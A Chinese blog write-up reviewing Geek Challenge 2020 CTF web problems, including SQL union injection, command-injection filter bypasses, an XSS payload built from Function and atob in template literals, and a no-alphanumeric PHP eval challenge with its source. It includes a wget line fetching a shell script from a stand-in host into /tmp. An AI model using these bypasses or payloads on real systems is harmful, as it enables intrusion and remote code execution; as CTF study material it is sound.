极客大挑战2020虚空复盘(没做的和有不同解的)

极客大挑战2020虚空复盘(没做的和有不同解的)

​ 今天极客大挑战的官方WP出了,想着把一些没做过的题目复现一下,还有一些没见过的知识顺便学一下,不过环境关掉了,55555555,只能虚空复现,找找知识点,之后有在BUUCTF上了再补上吧。

​ 比赛完的WP:三叶草 极客大挑战2020 部分题目Writeup

​ 官方WP地址:极客大挑战2020 官方Write-up (qq.com)

带恶人六撞

​ 这题竟然直接用联合查询就可以出来,emmmm当时我是脑抽还是怎么了,怎么就写不出来,好像是自己用order by没出来,然后直接用union select也没试出来,当时直接用3列的,看了这里用四列的,逃。联合查询就是正常的方式就可以出来了,看WP没有特殊的过滤。

知X堂的php教程

​ 自己当时用的是预期解出来的,不过也不咋算预期,都是用了命令执行,当时我用的是`find / -name flag`,通过反引号执行命令然后直接找flag文件带出来,不过需要考虑到这里的flag文件名,这次知识碰巧没改文件名,所以可以带出来,但是如果下次改了就不好说了,由于这里过滤了"|"管道符,不能用ls / | base64,三叶草师傅的方法是php -r "echo base64_encode(shell_exec('ls /'));",很好的避开了管道符,然后通过php的base64带出根目录下的内容。

​ 第二种方法:由于没有禁用/tmp目录,可以在/tmp目录下写sh文件然后执行,又是涨知识,这还真没想到,膜。

这里并没有说该用什么方法,考虑到"<"和">"被过滤了,然后我就不会写入的方式了
不过可以用wget命令
wget --output-document /tmp/a.sh ip/1.txt
1.txt写自己想要的sh文件
由于环境关了,所以这里不知道这个方法是不是可行

​ 还有一种非预期的解法,因为出题人配置文件没有写好,导致/proc/self/mounts泄露flag路径

告白网站

​ 当时是通过jsFUCK做的,还有另外一种方式是Function自定义函数加上atob解密base64。

btoa("alert(1)")
"YWxlcnQoMSk="

atob("YWxlcnQoMSk=")
"alert(1)"

atob(YWxlcnQoMSk=)
执行失败,由于单双引号都被过去了,这里使用反引号执行命令

atob`YWxlcnQoMSk=`
"alert(1)"
但是创建完之后是字符串,我们需要它执行起来,javascript通过${}可以去到对应的值
参考:https://blog.csdn.net/blog_szhao/article/details/51792868
https://blog.csdn.net/lgh1117/article/details/51278406

Function`a${atob`YWxlcnQoMSk=`}`
ƒ anonymous(a,
) {
alert(1)
}
这里主要利用的是fuction自定义函数,不过不知道为啥参数可以不用隔开的,这个有点厉害
参考:https://javascript.info/new-function

Function`a${atob`YWxlcnQoMSk=`}```
最后的``反引号可以做自执行

​ 感觉这里自己对前端代码的理解还不是特别清楚,如果有大佬懂的话,还望评论说说,呜呜呜。

RCEME

​ 测试了一下存在源码泄露,存在.index.php.swp文件,先放一下源码:

/**********************************
 *
 *      author : Longlone
 *       type  : Backup
 *
 **********************************/
<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['code'])){
        $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
}

if(isset($_POST['cmd']) and isset($_POST['code'])){

        if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){
                die('<script>alert(\'Captcha error~\');history.back()</script>');
        }
        $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
        $code = $_POST['cmd'];
        if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
                die('<script>alert(\'Longlone not like you~\');history.back()</script>');
        }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
                @eval($code);
                die();
        }
}
?>

​ 两个判断:1、无字母数字and一些特殊字符的绕过;2、无参数的RCE。这题可以说当时想的最久但是还是没写出的了,当时的想法来源于P神的一篇文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html,**(%8F%97%8F%96%91%99%90)();**写着这样子绕过,能绕过第一层if,但是第二层if就不行了,看到题目有提示:注意括号(我记得应该是这样的,错了别打)于是测试了"[]"和"{}"的各种各样,无果!果然菜的就是我。WP概括一句[(异或)][!%FF]的形式组成字符串,然后无参数RCE。M3师傅跟我说这里其实跟数组差不多,用法如下:

php -r "echo [1,2][0];"
返回1
把他看成一个数组,然后取下标为0的内容,由于这里不能用(),所以改成了[][0],不过0不过滤了,改成!%FF,%FF为True,加了感叹号变成了False

测试
php -r "echo [1,2][False];"
返回1

今天想到这里吧,剩下的过几天继续复盘

本文作者:erR0Ratao

本文链接:https://www.cnblogs.com/erR0Ratao/p/14077015.html

posted @ 2020-12-02 22:46  erR0Ratao  阅读(527)  评论(0编辑  收藏  举报